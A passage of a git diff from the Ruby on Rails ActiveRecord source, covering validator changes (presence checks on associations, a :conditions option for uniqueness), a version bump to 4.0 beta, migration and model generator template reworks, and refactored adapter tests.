+++ b/activerecord/lib/active_record/validations/presence.rb
@@ -0,0 +1,64 @@
+module ActiveRecord
+  module Validations
+    class PresenceValidator < ActiveModel::Validations::PresenceValidator
+      def validate(record)
+        super
+        attributes.each do |attribute|
+          next unless record.class.reflect_on_association(attribute)
+          value = record.send(attribute)
+          if Array(value).all? { |r| r.marked_for_destruction? }
+            record.errors.add(attribute, :blank, options)
+          end
+        end
+      end
+    end
+
+    module ClassMethods
+      # Validates that the specified attributes are not blank (as defined by
+      # Object#blank?), and, if the attribute is an association, that the
+      # associated object is not marked for destruction. Happens by default
+      # on save.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_one :face
+      #     validates_presence_of :face
+      #   end
+      #
+      # The face attribute must be in the object and it cannot be blank or marked
+      # for destruction.
+      #
+      # If you want to validate the presence of a boolean field (where the real values
+      # are true and false), you will want to use
+      # <tt>validates_inclusion_of :field_name, :in => [true, false]</tt>.
+      #
+      # This is due to the way Object#blank? handles boolean values:
+      # <tt>false.blank? # => true</tt>.
+      #
+      # This validator defers to the ActiveModel validation for presence, adding the
+      # check to see that an associated object is not marked for destruction. This
+      # prevents the parent object from validating successfully and saving, which then
+      # deletes the associated object, thus putting the parent object into an invalid
+      # state.
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - A custom error message (default is: "can't be blank").
+      # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
+      #   validation contexts by default (+nil+), other options are <tt>:create</tt>
+      #   and <tt>:update</tt>.
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if
+      #   the validation should occur (e.g. <tt>:if => :allow_validation</tt>, or
+      #   <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The method, proc
+      #   or string should return or evaluate to a true or false value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine
+      #   if the validation should not occur (e.g. <tt>:unless => :skip_validation</tt>,
+      #   or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The method,
+      #   proc or string should return or evaluate to a true or false value.
+      # * <tt>:strict</tt> - Specifies whether validation should be strict.
+      #   See <tt>ActiveModel::Validation#validates!</tt> for more information.
+      #
+      def validates_presence_of(*attr_names)
+        validates_with PresenceValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb
index 2e2ea8c42b..c117872ac8 100644
--- a/activerecord/lib/active_record/validations/uniqueness.rb
+++ b/activerecord/lib/active_record/validations/uniqueness.rb
@@ -1,8 +1,8 @@
-require 'active_support/core_ext/array/wrap'
+require 'active_support/core_ext/array/prepend_and_append'
 
 module ActiveRecord
   module Validations
-    class UniquenessValidator < ActiveModel::EachValidator
+    class UniquenessValidator < ActiveModel::EachValidator #:nodoc:
       def initialize(options)
         super(options.reverse_merge(:case_sensitive => true))
       end
@@ -25,13 +25,24 @@ module ActiveRecord
         relation = build_relation(finder_class, table, attribute, value)
         relation = relation.and(table[finder_class.primary_key.to_sym].not_eq(record.send(:id))) if record.persisted?
 
-        Array.wrap(options[:scope]).each do |scope_item|
-          scope_value = record.send(scope_item)
+        Array(options[:scope]).each do |scope_item|
+          scope_value = record.read_attribute(scope_item)
+          reflection = record.class.reflect_on_association(scope_item)
+          if reflection
+            scope_value = record.send(reflection.foreign_key)
+            scope_item = reflection.foreign_key
+          end
           relation = relation.and(table[scope_item].eq(scope_value))
         end
 
-        if finder_class.unscoped.where(relation).exists?
-          record.errors.add(attribute, :taken, options.except(:case_sensitive, :scope).merge(:value => value))
+        relation = finder_class.unscoped.where(relation)
+
+        if options[:conditions]
+          relation = relation.merge(options[:conditions])
+        end
+
+        if relation.exists?
+          record.errors.add(attribute, :taken, options.except(:case_sensitive, :scope, :conditions).merge(:value => value))
         end
       end
 
@@ -46,21 +57,28 @@ module ActiveRecord
         class_hierarchy = [record.class]
 
         while class_hierarchy.first != @klass
-          class_hierarchy.insert(0, class_hierarchy.first.superclass)
+          class_hierarchy.prepend(class_hierarchy.first.superclass)
         end
 
         class_hierarchy.detect { |klass| !klass.abstract_class? }
       end
 
       def build_relation(klass, table, attribute, value) #:nodoc:
-        column = klass.columns_hash[attribute.to_s]
-        value = column.limit ? value.to_s.mb_chars[0, column.limit] : value.to_s if column.text?
+        reflection = klass.reflect_on_association(attribute)
+        if reflection
+          column = klass.columns_hash[reflection.foreign_key]
+          attribute = reflection.foreign_key
+          value = value.attributes[reflection.primary_key_column.name]
+        else
+          column = klass.columns_hash[attribute.to_s]
+        end
+        value = column.limit ? value.to_s[0, column.limit] : value.to_s if !value.nil? && column.text?
 
         if !options[:case_sensitive] && value && column.text?
           # will use SQL LOWER function before comparison, unless it detects a case insensitive collation
           relation = klass.connection.case_insensitive_comparison(table, attribute, column, value)
         else
-          value    = klass.connection.case_sensitive_modifier(value)
+          value    = klass.connection.case_sensitive_modifier(value) unless value.nil?
           relation = table[attribute].eq(value)
         end
 
@@ -69,44 +87,67 @@ module ActiveRecord
     end
 
     module ClassMethods
-      # Validates whether the value of the specified attributes are unique across the system.
-      # Useful for making sure that only one user
+      # Validates whether the value of the specified attributes are unique
+      # across the system. Useful for making sure that only one user
       # can be named "davidhh".
       #
       #   class Person < ActiveRecord::Base
       #     validates_uniqueness_of :user_name
       #   end
       #
-      # It can also validate whether the value of the specified attributes are unique based on a scope parameter:
+      # It can also validate whether the value of the specified attributes are
+      # unique based on a <tt>:scope</tt> parameter:
       #
       #   class Person < ActiveRecord::Base
-      #     validates_uniqueness_of :user_name, :scope => :account_id
-      #   end 
+      #     validates_uniqueness_of :user_name, scope: :account_id
+      #   end
       #
-      # Or even multiple scope parameters. For example, making sure that a teacher can only be on the schedule once
-      # per semester for a particular class.
+      # Or even multiple scope parameters. For example, making sure that a
+      # teacher can only be on the schedule once per semester for a particular
+      # class.
       #
       #   class TeacherSchedule < ActiveRecord::Base
-      #     validates_uniqueness_of :teacher_id, :scope => [:semester_id, :class_id]
+      #     validates_uniqueness_of :teacher_id, scope: [:semester_id, :class_id]
       #   end
       #
-      # When the record is created, a check is performed to make sure that no record exists in the database
-      # with the given value for the specified attribute (that maps to a column). When the record is updated,
+      # It is also possible to limit the uniqueness constraint to a set of
+      # records matching certain conditions. In this example archived articles
+      # are not being taken into consideration when validating uniqueness
+      # of the title attribute:
+      #
+      #   class Article < ActiveRecord::Base
+      #     validates_uniqueness_of :title, conditions: where('status != ?', 'archived')
+      #   end
+      #
+      # When the record is created, a check is performed to make sure that no
+      # record exists in the database with the given value for the specified
+      # attribute (that maps to a column). When the record is updated,
       # the same check is made but disregarding the record itself.
       #
       # Configuration options:
-      # * <tt>:message</tt> - Specifies a custom error message (default is: "has already been taken").
-      # * <tt>:scope</tt> - One or more columns by which to limit the scope of the uniqueness constraint.
-      # * <tt>:case_sensitive</tt> - Looks for an exact match. Ignored by non-text columns (+true+ by default).
-      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the attribute is +nil+ (default is +false+).
-      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the attribute is blank (default is +false+).
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).
-      #   The method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or
-      #   <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The method, proc or string should
-      #   return or evaluate to a true or false value.
+      #
+      # * <tt>:message</tt> - Specifies a custom error message (default is:
+      #   "has already been taken").
+      # * <tt>:scope</tt> - One or more columns by which to limit the scope of
+      #   the uniqueness constraint.
+      # * <tt>:conditions</tt> - Specify the conditions to be included as a
+      #   <tt>WHERE</tt> SQL fragment to limit the uniqueness constraint lookup
+      #   (e.g. <tt>conditions: where('status = ?', 'active')</tt>).
+      # * <tt>:case_sensitive</tt> - Looks for an exact match. Ignored by
+      #   non-text columns (+true+ by default).
+      # * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the
+      #   attribute is +nil+ (default is +false+).
+      # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the
+      #   attribute is blank (default is +false+).
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+      #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+      #   proc or string should return or evaluate to a +true+ or +false+ value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+      #   determine if the validation should ot occur (e.g. <tt>unless: :skip_validation</tt>,
+      #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+      #   method, proc or string should return or evaluate to a +true+ or +false+
+      #   value.
       #
       # === Concurrency and integrity
       #
@@ -162,16 +203,16 @@ module ActiveRecord
       #
       # The bundled ActiveRecord::ConnectionAdapters distinguish unique index
       # constraint errors from other types of database errors by throwing an
-      # ActiveRecord::RecordNotUnique exception.
-      # For other adapters you will have to parse the (database-specific) exception
-      # message to detect such a case.
+      # ActiveRecord::RecordNotUnique exception. For other adapters you will
+      # have to parse the (database-specific) exception message to detect such
+      # a case.
+      #
       # The following bundled adapters throw the ActiveRecord::RecordNotUnique exception:
+      #
       # * ActiveRecord::ConnectionAdapters::MysqlAdapter
       # * ActiveRecord::ConnectionAdapters::Mysql2Adapter
-      # * ActiveRecord::ConnectionAdapters::SQLiteAdapter
       # * ActiveRecord::ConnectionAdapters::SQLite3Adapter
       # * ActiveRecord::ConnectionAdapters::PostgreSQLAdapter
-      #
       def validates_uniqueness_of(*attr_names)
         validates_with UniquenessValidator, _merge_attributes(attr_names)
       end
diff --git a/activerecord/lib/active_record/version.rb b/activerecord/lib/active_record/version.rb
index 838aa8fb1e..0c35adc11d 100644
--- a/activerecord/lib/active_record/version.rb
+++ b/activerecord/lib/active_record/version.rb
@@ -1,7 +1,7 @@
 module ActiveRecord
   module VERSION #:nodoc:
-    MAJOR = 3
-    MINOR = 2
+    MAJOR = 4
+    MINOR = 0
     TINY  = 0
     PRE   = "beta"
 
diff --git a/activerecord/lib/rails/generators/active_record.rb b/activerecord/lib/rails/generators/active_record.rb
index 4b3d1db216..297cd094c2 100644
--- a/activerecord/lib/rails/generators/active_record.rb
+++ b/activerecord/lib/rails/generators/active_record.rb
@@ -1,14 +1,12 @@
 require 'rails/generators/named_base'
 require 'rails/generators/migration'
 require 'rails/generators/active_model'
-require 'rails/generators/active_record/migration'
 require 'active_record'
 
 module ActiveRecord
   module Generators
     class Base < Rails::Generators::NamedBase #:nodoc:
       include Rails::Generators::Migration
-      extend ActiveRecord::Generators::Migration
 
       # Set the current directory as base for the inherited generators.
       def self.base_root
diff --git a/activerecord/lib/rails/generators/active_record/migration.rb b/activerecord/lib/rails/generators/active_record/migration.rb
deleted file mode 100644
index 7f2f2e06a5..0000000000
--- a/activerecord/lib/rails/generators/active_record/migration.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-module ActiveRecord
-  module Generators
-    module Migration
-      # Implement the required interface for Rails::Generators::Migration.
-      def next_migration_number(dirname) #:nodoc:
-        next_migration_number = current_migration_number(dirname) + 1
-        if ActiveRecord::Base.timestamped_migrations
-          [Time.now.utc.strftime("%Y%m%d%H%M%S"), "%.14d" % next_migration_number].max
-        else
-          "%.3d" % next_migration_number
-        end
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
index f6159deeeb..f6a432c6e5 100644
--- a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
+++ b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb
@@ -3,7 +3,7 @@ require 'rails/generators/active_record'
 module ActiveRecord
   module Generators
     class MigrationGenerator < Base
-      argument :attributes, :type => :array, :default => [], :banner => "field:type field:type"
+      argument :attributes, :type => :array, :default => [], :banner => "field[:type][:index] field[:type][:index]"
 
       def create_migration_file
         set_local_assigns!
@@ -11,15 +11,36 @@ module ActiveRecord
       end
 
       protected
-        attr_reader :migration_action
+      attr_reader :migration_action, :join_tables
 
-        def set_local_assigns!
-          if file_name =~ /^(add|remove)_.*_(?:to|from)_(.*)/
-            @migration_action = $1
-            @table_name       = $2.pluralize
+      def set_local_assigns!
+        case file_name
+        when /^(add|remove)_.*_(?:to|from)_(.*)/
+          @migration_action = $1
+          @table_name       = $2.pluralize
+        when /join_table/
+          if attributes.length == 2
+            @migration_action = 'join'
+            @join_tables      = attributes.map(&:plural_name)
+
+            set_index_names
           end
         end
+      end
+
+      def set_index_names
+        attributes.each_with_index do |attr, i|
+          attr.index_name = [attr, attributes[i - 1]].map{ |a| index_name_for(a) }
+        end
+      end
 
+      def index_name_for(attribute)
+        if attribute.foreign_key?
+          attribute.name
+        else
+          attribute.name.singularize.foreign_key
+        end.to_sym
+      end
     end
   end
 end
diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
index ce8d7eed42..d5c07aecd3 100644
--- a/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
+++ b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb
@@ -2,24 +2,50 @@ class <%= migration_class_name %> < ActiveRecord::Migration
 <%- if migration_action == 'add' -%>
   def change
 <% attributes.each do |attribute| -%>
-    add_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %>
+  <%- if attribute.reference? -%>
+    add_reference :<%= table_name %>, :<%= attribute.name %><%= attribute.inject_options %>
+  <%- else -%>
+    add_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %>
+    <%- if attribute.has_index? -%>
+    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
+    <%- end -%>
+  <%- end -%>
 <%- end -%>
   end
+<%- elsif migration_action == 'join' -%>
+  def change
+    create_join_table :<%= join_tables.first %>, :<%= join_tables.second %> do |t|
+    <%- attributes.each do |attribute| -%>
+      <%= '# ' unless attribute.has_index? -%>t.index <%= attribute.index_name %><%= attribute.inject_index_options %>
+    <%- end -%>
+    end
+  end
 <%- else -%>
   def up
 <% attributes.each do |attribute| -%>
-  <%- if migration_action -%>
-    <%= migration_action %>_column :<%= table_name %>, :<%= attribute.name %><% if migration_action == 'add' %>, :<%= attribute.type %><% end %>
+<%- if migration_action -%>
+  <%- if attribute.reference? -%>
+    remove_reference :<%= table_name %>, :<%= attribute.name %><%= ', polymorphic: true' if attribute.polymorphic? %>
+  <%- else -%>
+    remove_column :<%= table_name %>, :<%= attribute.name %>
   <%- end -%>
 <%- end -%>
+<%- end -%>
   end
 
   def down
 <% attributes.reverse.each do |attribute| -%>
-  <%- if migration_action -%>
-    <%= migration_action == 'add' ? 'remove' : 'add' %>_column :<%= table_name %>, :<%= attribute.name %><% if migration_action == 'remove' %>, :<%= attribute.type %><% end %>
+<%- if migration_action -%>
+  <%- if attribute.reference? -%>
+    add_reference :<%= table_name %>, :<%= attribute.name %><%= attribute.inject_options %>
+  <%- else -%>
+    add_column :<%= table_name %>, :<%= attribute.name %>, :<%= attribute.type %><%= attribute.inject_options %>
+    <%- if attribute.has_index? -%>
+    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
+    <%- end -%>
   <%- end -%>
 <%- end -%>
+<%- end -%>
   end
 <%- end -%>
 end
diff --git a/activerecord/lib/rails/generators/active_record/model/model_generator.rb b/activerecord/lib/rails/generators/active_record/model/model_generator.rb
index f7caa43ac8..8e6ef20285 100644
--- a/activerecord/lib/rails/generators/active_record/model/model_generator.rb
+++ b/activerecord/lib/rails/generators/active_record/model/model_generator.rb
@@ -3,7 +3,7 @@ require 'rails/generators/active_record'
 module ActiveRecord
   module Generators
     class ModelGenerator < Base
-      argument :attributes, :type => :array, :default => [], :banner => "field:type field:type"
+      argument :attributes, :type => :array, :default => [], :banner => "field[:type][:index] field[:type][:index]"
 
       check_class_collision
 
@@ -14,6 +14,7 @@ module ActiveRecord
 
       def create_migration_file
         return unless options[:migration] && options[:parent].nil?
+        attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false
         migration_template "migration.rb", "db/migrate/create_#{table_name}.rb"
       end
 
@@ -26,6 +27,14 @@ module ActiveRecord
         template 'module.rb', File.join('app/models', "#{class_path.join('/')}.rb") if behavior == :invoke
       end
 
+      def attributes_with_index
+        attributes.select { |a| !a.reference? && a.has_index? }
+      end
+
+      def accessible_attributes
+        attributes.reject(&:reference?)
+      end
+
       hook_for :test_framework
 
       protected
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/migration.rb b/activerecord/lib/rails/generators/active_record/model/templates/migration.rb
index 851930344a..3a3cf86d73 100644
--- a/activerecord/lib/rails/generators/active_record/model/templates/migration.rb
+++ b/activerecord/lib/rails/generators/active_record/model/templates/migration.rb
@@ -2,16 +2,14 @@ class <%= migration_class_name %> < ActiveRecord::Migration
   def change
     create_table :<%= table_name %> do |t|
 <% attributes.each do |attribute| -%>
-      t.<%= attribute.type %> :<%= attribute.name %>
+      t.<%= attribute.type %> :<%= attribute.name %><%= attribute.inject_options %>
 <% end -%>
 <% if options[:timestamps] %>
       t.timestamps
 <% end -%>
     end
-<% if options[:indexes] -%>
-<% attributes.select {|attr| attr.reference? }.each do |attribute| -%>
-    add_index :<%= table_name %>, :<%= attribute.name %>_id
-<% end -%>
+<% attributes_with_index.each do |attribute| -%>
+    add_index :<%= table_name %>, :<%= attribute.index_name %><%= attribute.inject_index_options %>
 <% end -%>
   end
 end
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/model.rb b/activerecord/lib/rails/generators/active_record/model/templates/model.rb
index 5c47f8b241..2cca17b94f 100644
--- a/activerecord/lib/rails/generators/active_record/model/templates/model.rb
+++ b/activerecord/lib/rails/generators/active_record/model/templates/model.rb
@@ -1,7 +1,12 @@
 <% module_namespacing do -%>
 class <%= class_name %> < <%= parent_class_name.classify %>
 <% attributes.select {|attr| attr.reference? }.each do |attribute| -%>
-  belongs_to :<%= attribute.name %>
+  belongs_to :<%= attribute.name %><%= ', polymorphic: true' if attribute.polymorphic? %>
+<% end -%>
+<% if !accessible_attributes.empty? -%>
+  attr_accessible <%= accessible_attributes.map {|a| ":#{a.name}" }.sort.join(', ') %>
+<% else -%>
+  # attr_accessible :title, :body
 <% end -%>
 end
 <% end -%>
diff --git a/activerecord/lib/rails/generators/active_record/model/templates/module.rb b/activerecord/lib/rails/generators/active_record/model/templates/module.rb
index fca2908080..a3bf1c37b6 100644
--- a/activerecord/lib/rails/generators/active_record/model/templates/module.rb
+++ b/activerecord/lib/rails/generators/active_record/model/templates/module.rb
@@ -1,7 +1,7 @@
 <% module_namespacing do -%>
 module <%= class_path.map(&:camelize).join('::') %>
   def self.table_name_prefix
-    '<%= class_path.join('_') %>_'
+    '<%= namespaced? ? namespaced_class_path.join('_') : class_path.join('_') %>_'
   end
 end
 <% end -%>
diff --git a/activerecord/lib/rails/generators/active_record/session_migration/session_migration_generator.rb b/activerecord/lib/rails/generators/active_record/session_migration/session_migration_generator.rb
index 90923f6e74..75aee4f408 100644
--- a/activerecord/lib/rails/generators/active_record/session_migration/session_migration_generator.rb
+++ b/activerecord/lib/rails/generators/active_record/session_migration/session_migration_generator.rb
@@ -1,5 +1,4 @@
 require 'rails/generators/active_record'
-require 'active_support/core_ext/object/inclusion'
 
 module ActiveRecord
   module Generators
@@ -14,8 +13,8 @@ module ActiveRecord
 
         def session_table_name
           current_table_name = ActiveRecord::SessionStore::Session.table_name
-          if current_table_name.in?(["sessions", "session"])
-            current_table_name = (ActiveRecord::Base.pluralize_table_names ? 'session'.pluralize : 'session')
+          if current_table_name == 'session' || current_table_name == 'sessions'
+            current_table_name = ActiveRecord::Base.pluralize_table_names ? 'sessions' : 'session'
           end
           current_table_name
         end
diff --git a/activerecord/test/active_record/connection_adapters/fake_adapter.rb b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
index 1c2942170e..1199be68eb 100644
--- a/activerecord/test/active_record/connection_adapters/fake_adapter.rb
+++ b/activerecord/test/active_record/connection_adapters/fake_adapter.rb
@@ -1,6 +1,6 @@
 module ActiveRecord
-  class Base
-    def self.fake_connection(config)
+  module ConnectionHandling
+    def fake_connection(config)
       ConnectionAdapters::FakeAdapter.new nil, logger
     end
   end
@@ -9,11 +9,16 @@ module ActiveRecord
     class FakeAdapter < AbstractAdapter
       attr_accessor :tables, :primary_keys
 
+      @columns = Hash.new { |h,k| h[k] = [] }
+      class << self
+        attr_reader :columns
+      end
+
       def initialize(connection, logger)
         super
         @tables       = []
         @primary_keys = {}
-        @columns      = Hash.new { |h,k| h[k] = [] }
+        @columns      = self.class.columns
       end
 
       def primary_key(table)
@@ -28,7 +33,7 @@ module ActiveRecord
           options[:null])
       end
 
-      def columns(table_name, message)
+      def columns(table_name)
         @columns[table_name]
       end
     end
diff --git a/activerecord/test/assets/test.txt b/activerecord/test/assets/test.txt
new file mode 100644
index 0000000000..6754f0612e
--- /dev/null
+++ b/activerecord/test/assets/test.txt
@@ -0,0 +1 @@
+%00
diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb
index 94497e37c7..852fc0e26e 100644
--- a/activerecord/test/cases/adapter_test.rb
+++ b/activerecord/test/cases/adapter_test.rb
@@ -1,170 +1,163 @@
 require "cases/helper"
 
-class AdapterTest < ActiveRecord::TestCase
-  def setup
-    @connection = ActiveRecord::Base.connection
-  end
-
-  def test_tables
-    tables = @connection.tables
-    assert tables.include?("accounts")
-    assert tables.include?("authors")
-    assert tables.include?("tasks")
-    assert tables.include?("topics")
-  end
+module ActiveRecord
+  class AdapterTest < ActiveRecord::TestCase
+    def setup
+      @connection = ActiveRecord::Base.connection
+    end
 
-  def test_table_exists?
-    assert @connection.table_exists?("accounts")
-    assert !@connection.table_exists?("nonexistingtable")
-  end
+    def test_tables
+      tables = @connection.tables
+      assert tables.include?("accounts")
+      assert tables.include?("authors")
+      assert tables.include?("tasks")
+      assert tables.include?("topics")
+    end
 
-  def test_indexes
-    idx_name = "accounts_idx"
-
-    if @connection.respond_to?(:indexes)
-      indexes = @connection.indexes("accounts")
-      assert indexes.empty?
-
-      @connection.add_index :accounts, :firm_id, :name => idx_name
-      indexes = @connection.indexes("accounts")
-      assert_equal "accounts", indexes.first.table
-      # OpenBase does not have the concept of a named index
-      # Indexes are merely properties of columns.
-      assert_equal idx_name, indexes.first.name unless current_adapter?(:OpenBaseAdapter)
-      assert !indexes.first.unique
-      assert_equal ["firm_id"], indexes.first.columns
-    else
-      warn "#{@connection.class} does not respond to #indexes"
+    def test_table_exists?
+      assert @connection.table_exists?("accounts")
+      assert !@connection.table_exists?("nonexistingtable")
+      assert !@connection.table_exists?(nil)
     end
 
-  ensure
-    @connection.remove_index(:accounts, :name => idx_name) rescue nil
-  end
+    def test_indexes
+      idx_name = "accounts_idx"
+
+      if @connection.respond_to?(:indexes)
+        indexes = @connection.indexes("accounts")
+        assert indexes.empty?
+
+        @connection.add_index :accounts, :firm_id, :name => idx_name
+        indexes = @connection.indexes("accounts")
+        assert_equal "accounts", indexes.first.table
+        # OpenBase does not have the concept of a named index
+        # Indexes are merely properties of columns.
+        assert_equal idx_name, indexes.first.name unless current_adapter?(:OpenBaseAdapter)
+        assert !indexes.first.unique
+        assert_equal ["firm_id"], indexes.first.columns
+      else
+        warn "#{@connection.class} does not respond to #indexes"
+      end
 
-  def test_current_database
-    if @connection.respond_to?(:current_database)
-      assert_equal ARTest.connection_config['arunit']['database'], @connection.current_database
+    ensure
+      @connection.remove_index(:accounts, :name => idx_name) rescue nil
     end
-  end
 
-  if current_adapter?(:MysqlAdapter)
-    def test_charset
-      assert_not_nil @connection.charset
-      assert_not_equal 'character_set_database', @connection.charset
-      assert_equal @connection.show_variable('character_set_database'), @connection.charset
+    def test_current_database
+      if @connection.respond_to?(:current_database)
+        assert_equal ARTest.connection_config['arunit']['database'], @connection.current_database
+      end
     end
 
-    def test_collation
-      assert_not_nil @connection.collation
-      assert_not_equal 'collation_database', @connection.collation
-      assert_equal @connection.show_variable('collation_database'), @connection.collation
-    end
+    if current_adapter?(:MysqlAdapter)
+      def test_charset
+        assert_not_nil @connection.charset
+        assert_not_equal 'character_set_database', @connection.charset
+        assert_equal @connection.show_variable('character_set_database'), @connection.charset
+      end
 
-    def test_show_nonexistent_variable_returns_nil
-      assert_nil @connection.show_variable('foo_bar_baz')
-    end
+      def test_collation
+        assert_not_nil @connection.collation
+        assert_not_equal 'collation_database', @connection.collation
+        assert_equal @connection.show_variable('collation_database'), @connection.collation
+      end
 
-    def test_not_specifying_database_name_for_cross_database_selects
-      begin
-        assert_nothing_raised do
-          ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['arunit'].except(:database))
+      def test_show_nonexistent_variable_returns_nil
+        assert_nil @connection.show_variable('foo_bar_baz')
+      end
 
-          config = ARTest.connection_config
-          ActiveRecord::Base.connection.execute(
-            "SELECT #{config['arunit']['database']}.pirates.*, #{config['arunit2']['database']}.courses.* " \
-            "FROM #{config['arunit']['database']}.pirates, #{config['arunit2']['database']}.courses"
-          )
+      def test_not_specifying_database_name_for_cross_database_selects
+        begin
+          assert_nothing_raised do
+            ActiveRecord::Model.establish_connection(ActiveRecord::Base.configurations['arunit'].except(:database))
+
+            config = ARTest.connection_config
+            ActiveRecord::Model.connection.execute(
+              "SELECT #{config['arunit']['database']}.pirates.*, #{config['arunit2']['database']}.courses.* " \
+              "FROM #{config['arunit']['database']}.pirates, #{config['arunit2']['database']}.courses"
+            )
+          end
+        ensure
+          ActiveRecord::Model.establish_connection 'arunit'
         end
-      ensure
-        ActiveRecord::Base.establish_connection 'arunit'
       end
     end
-  end
 
-  def test_table_alias
-    def @connection.test_table_alias_length() 10; end
-    class << @connection
-      alias_method :old_table_alias_length, :table_alias_length
-      alias_method :table_alias_length,     :test_table_alias_length
-    end
+    def test_table_alias
+      def @connection.test_table_alias_length() 10; end
+      class << @connection
+        alias_method :old_table_alias_length, :table_alias_length
+        alias_method :table_alias_length,     :test_table_alias_length
+      end
 
-    assert_equal 'posts',      @connection.table_alias_for('posts')
-    assert_equal 'posts_comm', @connection.table_alias_for('posts_comments')
-    assert_equal 'dbo_posts',  @connection.table_alias_for('dbo.posts')
+      assert_equal 'posts',      @connection.table_alias_for('posts')
+      assert_equal 'posts_comm', @connection.table_alias_for('posts_comments')
+      assert_equal 'dbo_posts',  @connection.table_alias_for('dbo.posts')
 
-    class << @connection
-      remove_method :table_alias_length
-      alias_method :table_alias_length, :old_table_alias_length
+      class << @connection
+        remove_method :table_alias_length
+        alias_method :table_alias_length, :old_table_alias_length
+      end
     end
-  end
 
-  # test resetting sequences in odd tables in postgreSQL
-  if ActiveRecord::Base.connection.respond_to?(:reset_pk_sequence!)
-    require 'models/movie'
-    require 'models/subscriber'
+    # test resetting sequences in odd tables in postgreSQL
+    if ActiveRecord::Base.connection.respond_to?(:reset_pk_sequence!)
+      require 'models/movie'
+      require 'models/subscriber'
 
-    def test_reset_empty_table_with_custom_pk
-      Movie.delete_all
-      Movie.connection.reset_pk_sequence! 'movies'
-      assert_equal 1, Movie.create(:name => 'fight club').id
-    end
+      def test_reset_empty_table_with_custom_pk
+        Movie.delete_all
+        Movie.connection.reset_pk_sequence! 'movies'
+        assert_equal 1, Movie.create(:name => 'fight club').id
+      end
 
-    if ActiveRecord::Base.connection.adapter_name != "FrontBase"
-      def test_reset_table_with_non_integer_pk
-        Subscriber.delete_all
-        Subscriber.connection.reset_pk_sequence! 'subscribers'
-        sub = Subscriber.new(:name => 'robert drake')
-        sub.id = 'bob drake'
-        assert_nothing_raised { sub.save! }
+      if ActiveRecord::Base.connection.adapter_name != "FrontBase"
+        def test_reset_table_with_non_integer_pk
+          Subscriber.delete_all
+          Subscriber.connection.reset_pk_sequence! 'subscribers'
+          sub = Subscriber.new(:name => 'robert drake')
+          sub.id = 'bob drake'
+          assert_nothing_raised { sub.save! }
+        end
       end
     end
-  end
 
-  def test_uniqueness_violations_are_translated_to_specific_exception
-    @connection.execute "INSERT INTO subscribers(nick) VALUES('me')"
-    assert_raises(ActiveRecord::RecordNotUnique) do
+    def test_uniqueness_violations_are_translated_to_specific_exception
       @connection.execute "INSERT INTO subscribers(nick) VALUES('me')"
+      assert_raises(ActiveRecord::RecordNotUnique) do
+        @connection.execute "INSERT INTO subscribers(nick) VALUES('me')"
+      end
     end
-  end
 
-  def test_foreign_key_violations_are_translated_to_specific_exception
-    unless @connection.adapter_name == 'SQLite'
-      assert_raises(ActiveRecord::InvalidForeignKey) do
-        # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
-        if @connection.prefetch_primary_key?
-          id_value = @connection.next_sequence_value(@connection.default_sequence_name("fk_test_has_fk", "id"))
-          @connection.execute "INSERT INTO fk_test_has_fk (id, fk_id) VALUES (#{id_value},0)"
-        else
-          @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)"
+    def test_foreign_key_violations_are_translated_to_specific_exception
+      unless @connection.adapter_name == 'SQLite'
+        assert_raises(ActiveRecord::InvalidForeignKey) do
+          # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method
+          if @connection.prefetch_primary_key?
+            id_value = @connection.next_sequence_value(@connection.default_sequence_name("fk_test_has_fk", "id"))
+            @connection.execute "INSERT INTO fk_test_has_fk (id, fk_id) VALUES (#{id_value},0)"
+          else
+            @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)"
+          end
         end
       end
     end
-  end
 
